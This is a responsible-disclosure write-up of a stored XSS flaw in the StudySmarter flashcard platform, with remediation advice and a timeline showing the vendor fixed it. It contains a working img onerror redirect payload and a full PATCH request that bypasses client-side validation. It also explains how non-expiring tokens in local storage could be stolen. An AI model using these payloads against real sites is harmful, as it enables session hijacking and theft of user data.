XSS vulnerability on StudySmarter

What is StudySmarter?

StudySmarter is a learning platform for pupils and students. The web app offers the possibility to create flashcards and learn them via the website and corresponding apps. According to StudySmarter, it is an award winning learning app.

„The award winning study app for students and pupils.“

https://www.studysmarter.de/

According to the official website, around 900,000 students are registered. Every day, thousands of students learn with StudySmarter learning app, create and share their learning materials.

„Join 900.000 students on StudySmarter […] Every day thousands of students learn, create & share their study materials with StudySmarter.“

https://www.studysmarter.de/studium/

What is cross-site scripting (XSS)?

Cross-site scripting is the process of exploiting a computer security vulnerability in web applications by inserting information in one context where it is untrusted into another context where it is trusted. This article describes a cross-site scripting (XSS) attack that works on StudySmarter interacting directly with the API.

XSS makes it possible to execute malicious source code directly on the user’s client through JavaScript. JavaScript also offers the possibility of accessing browser resources and sending them unnoticed to servers hosted by the attackers. Among other things, XSS can be exploited to change the content of web pages for a user or to access content such as cookies to obtain session information. In addition, it is possible to mine bitcoins on the user’s computer using JavaScript.

The specific case: StudySmarter

In the following, we would like to show what possibilities the XSS vulnerability actually offers and what consequences as well, and on the other hand explain the procedure in detail. Each of these vulnerabilities was tested using the web application of StudySmarter Version w-7.6.3.

Possibilities due to the XSS vulnerability

Each of the galleries shows two pictures. The left image shows a screenshot of the web application without displaying the solution of the flashcard. At this point, the vulnerability has not yet been exploited and the JavaScript source code has not yet been loaded. The right image shows the result exploited by the XSS vulnerability.

Case 1

This case shows how an alert can be injected into the website through JavaScript. Of course, harmful JavaScript source code can also be executed in place of the harmless alert, which is not visible to the user.

Case 2

As previously described, data stored by StudySmarter in local browser resources can be accessed. An output of sensitive user information after such access is shown in the following gallery.

Case 3

To show that data from other websites can also be retrieved and injected into the StudySmarter source code, in the following example this blog post has been embedded into the solution of the flashcard through incorrect HTML sanitisation.

Finally, the following JavaScript source code can also be used to redirect to any website. This becomes active as soon as the answer is displayed on the index card or the overview of all index cards with answers is loaded.

<img src="//image.png" onerror="location.href='https://www.piuswalter.de/blog/xss-vulnerability-on-studysmarter/'" />

Procedure in detail

The PATCH request made by StudySmarter from the frontend to the API in the backend sends on already encoded HTML tag data. Consequently, we wondered whether the validation was done exclusively on the client side.

To check this, the previously sent PATCH request was modified accordingly and sent with raw HTML content to bypass the validation. The following request finally led to success.

await fetch(
"https://prod.studysmarter.de/users/<USER_ID>/subjects/<SUBJECT_ID>/flashcards/<FLASHCARD_ID>/", {
    "credentials": "include",
    "headers": {
        "Accept": "application/json, text/plain, /",
        "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
        "Content-Type": "application/json",
        "Authorization": "Token <TOKEN>"
    },
    "referrer": "https://app.studysmarter.de/",
    "body": "{
        \"flashcard_image_ids\":[],
        \"tags\":[],
        \"flashcardinfo\":{
            \"question_html\":[{
                \"text\":\"Does XSS work here?\",
                \"is_correct\":true
            }],
            \"answer_html\":[{
                \"text\":\"<XSS>\",
                \"is_correct\":true
            }],
            \"shared\":2,
            \"hint_html\":[],
            \"solution_html\":\"\",
            \"id\":<SUBJECT_ID>,
            \"flashcard_images\":[]
        }
    }",
    "method": "PATCH",
    "mode": "cors"
});

After reloading the StudySmarter web application, the HTML source code sent to the backend via the modified PATCH request was output without further handling.

What’s the outcome?

However, the main security threat lies not only in the XSS vulnerability itself, but in the way StudySmarter authenticates users to the API in the backend.

In order to specify and load the data for each individual user, each user is assigned a unique token. According to our knowledge, this token is generated during registration and is valid from this point on. It is the key to all data stored in the backend for the users. In addition, each user receives a unique user ID.

Both the unique user ID and the associated token are stored in the browser’s local storage. JavaScript can easily access this memory and read, modify, forward or delete this data without further interaction by the user.

Due to the following three points

• The cross-site scripting (XSS) vulnerability allows arbitrary malicious JavaScript code to be injected into StudySmarter’s web application
• The token generated during registration does not expire and cannot be renewed by the user himself (e.g. by logging out and logging in or changing the own password)
• The token is stored in the local storage of the browser and can be read easily at any time by JavaScript

user data (including the unique user ID as well as the token) can be read out of the local storage by a suitable XSS attack, sent to a server and stored there. According to StudySmarter, thousands of students use the corresponding learning platform every day, which means that attackers have a sufficiently large number of user profiles at their disposal. Due to the problem of indefinitely valid defined tokens, attackers can use collected authentication tuples for an unlimited period of time.

What measurements should be taken?

• Close XSS vulnerability by escaping corresponding HTML source code
• Sensitive information (such as user ID and token) should not be retrievable by JavaScript
• Sensitive information should be stored in cookies and protected from JavaScript calls with the HttpOnly attribute
• Implementation of a new token system that supports short lived tokens
  • Delete all existing non expiring tokens

---

History and updates

The progress as well as the contact with the StudySmarter team is described in the following.

04/16/2021

We discovered the vulnerability and immediately informed the StudySmarter team.

04/17/2021

StudySmarter responded to our message the very next day (weekend) with a note that they are already in progress of resolving the issue. Additionally, an appointment was made for the following week.

04/20/2021

Today the personal meeting with the responsible persons of StudySmarter took place and the identified vulnerabilities were discussed.

05/27/2021

The following response was received as verification to close the vulnerability.

We were able to solve the XSS vulnerability you found in the StudySmarter API in the meantime. It was a bit tricky, as we want our users to be able to paste arbitrary HTML into their flashcards to provide the easiest possible flow for content creation. But with the help of a state-of-the-art HTML sanitization tool, we are now able to filter any kind of XSS attack in our API to make sure it never even reaches our database. Thanks for pointing out the vulnerability to us and making StudySmarter a safer platform!

Simon Hohentanner, COO, StudySmarter

06/01/2021

To ensure that both the web application and all mobile applications could still be updated by users after the vulnerability was closed, the publication of the post was delayed for an agreed period of time.

---

Philipp Fruck & Pius Walter